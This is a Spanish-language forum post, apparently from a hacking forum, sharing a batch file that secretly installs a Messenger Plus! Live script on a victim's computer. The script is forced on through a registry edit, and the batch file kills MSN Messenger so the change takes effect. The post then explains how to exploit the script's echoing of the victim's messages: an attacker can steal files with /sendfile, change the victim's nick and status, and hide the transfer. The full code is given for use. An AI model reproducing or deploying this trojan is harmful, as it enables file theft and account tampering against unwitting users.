Bueno, ayer boludeando se me ocurrio algo . Lo que quise hacer es bajo un script de MSN Plus! que copie todo lo que el otro dice, robar archivos, cambiar nombres, etc.
Entonces se me ocurrio crear este script, instalarlo en el MSN y activarlo.
Que se "auto instale" fue facil. Con batch creas el script .js en %programfiles%\Messenger Plus! Live\Scripts" y ya esta instalado.
Les recuerdo que %programfiles% = "X:\archivos de programa."
Ahora el problema era que este activado en cuanto se inicie el MSN, y buscando en el registro encontre la clave donde se almacenan las propiedades de los script, y cambiando esta con el batch, queda siempre activada.
En cuestion, lo que hace el batch es:
1.- Crea una carpeta en "%programfils%\Messenger Plus! Live\Scripts" llamada WML.
2.- Crea un script que copie todo lo que el otro dice en esta carpeta creada.
3.- Agrega la activacion automatica al registro.
4.- Cierra el MSN para que tenga que ser reabierto y asi aplicar los cambios.
Algo que no supe hacer, ya que no tengo casi idea de JSCRIPT es que se active SOLO el script. En cambio lo que hice fue que cuando la persona diga alguna de estas palabras:
- Hola
- Che
- q?
- qe?
- que?
- q
- qe
- que
- da
Se active el script y empezar a copiar .
Entonces es cuando el otro aprovecha esto, desactiva los comandos del MSN(Los que empiezan con "/", se desactivan en
Plus! > Preferencias > Conversaciones > Desactivar la casilla "Activar comandos (Mensajes que comienzan con "/")). y empieza a escribir distintos comandos. Lo que va a pasar es que el al tenerlos desactivados no va a sufrir efectos, en cambio el que esta copiando al tenerlo, si. Con esto podemos cambiale su nick, estado, subnick, y robarle archivos. Obviamente si queremos robarle un archivo deberiamos "tildarle" la PC para que no pueda cancelar la transferencia.
Ah, y no podra detener el script a menos que lo elimine en "Plus! > preferencias > Script". Igualmente pueden agregarle una entrada para que se ejecute al iniciar windows.
O sea, una vez hecho todo, para robar archivos escribimos en el msn:
/sendfile (ruta del archivo a enviar)
(Es necesario saber el nombre y la ruta)
y empezamos a mandar muchos run.
/run
www.google.com/run
www.google.cometc, y asi sacarla de la ventana de conversacion.
En fin, el codigo es:
-----------------------------------------------------------------------------------------
@echo off
md "%programfiles%\Messenger Plus! Live\Scripts\WML" > nul
echo var mocking = '0' >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo var melastMsg = "" >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo var thelastMsg = "" >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo function OnEvent_Initialize(MessengerStart) >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo { >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo } >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo function OnEvent_Uninitialize(MessengerExit) >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo { >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo } >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo function OnEvent_ChatWndSendMessage(ChatWnd,Message) >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo { >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo } >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo if(Message == "hola") >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo { >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo mocking = '1' >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo } >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"echo if(Message == "dpft?") >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo { >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo if(mocking == '0') >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo { >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo Interop.Call("User32.dll", "MessageBoxW", 0, "El script esta desactivado","dpft", 0); >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo } else { >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo Interop.Call("User32.dll", "MessageBoxW", 0, "El script esta activado","dpft", 0); >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo } >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo } >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo melastMsg = Message >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo
echo } >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo function OnEvent_ChatWndReceiveMessage(ChatWnd,Origin, Message, MessageKind) >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo { >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo thelastMsg = Message >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo if (melastMsg != thelastMsg ) >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo { >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo if (mocking == "1") >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo { >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo ChatWnd.SendMessage(Message); >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo } >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo } >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
echo } >> "%programfiles%\Messenger Plus! Live\Scripts\WML\WML.js"
reg add "HKEY_CURRENT_USER\Software\Patchou\Messenger Plus! Live\GlobalSettings\Scripts\WML" /v Enabled /t REG_DWORD /d 1 /f > nul
tskill msnmsgr
taskkill /im msnmsgr.exe
-----------------------------------------------------------------------------------------
Esas 4 lineas que remarque en rojo sirven para agregar palabras para activar el script. En este caso solo "hola" lo activa. Pueden modificarlo copiando las 4 lineas y pegandolas abajo de estas mismas 4 y cambiando el "hola".
Y creo que nada mas. Ah si, es una version beta, lo cree ayer, supongo que algo se podra mejorar. Y lo del JSCRIPT, alguien sabe como hacer para que se active sin necesidad de poner algo en la ventana de conversacion? :S
d.pFt.